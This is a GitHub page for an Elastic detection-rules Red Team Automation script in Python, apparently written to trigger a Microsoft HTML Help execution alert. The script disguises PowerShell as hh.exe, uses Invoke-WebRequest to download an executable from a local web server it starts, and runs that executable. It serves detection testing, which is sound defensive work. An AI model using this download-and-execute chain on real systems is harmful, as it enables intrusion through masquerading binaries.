forked from elastic/detection-rules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
html_help_file_written_exec.py
43 lines (32 loc) · 1.23 KB
/
html_help_file_written_exec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="9bbf9aea-33fc-45fc-be55-4cafc744da80",
platforms=["windows"],
endpoint=[
{"rule_name": "File Execution via Microsoft HTML Help", "rule_id": "9c3b13f6-bc26-4397-9721-4ba23ddd1014"}
],
siem=[],
techniques=["T1218", "T1566"],
)
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
@common.requires_os(metadata.platforms)
def main():
server, ip, port = common.serve_web()
url = f"http://{ip}:{port}/bin/renamed_posh.exe"
hh = "C:\\Users\\Public\\hh.exe"
dropped = "C:\\Users\\Public\\posh.exe"
common.copy_file(EXE_FILE, hh)
cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}"
# Execute command
common.log("Using a fake hh to drop and execute an .exe")
common.execute([hh, "/c", cmd], timeout=10)
common.execute([hh, "/c", dropped], timeout=10, kill=True)
common.remove_file(hh)
common.remove_file(dropped)
if __name__ == "__main__":
exit(main())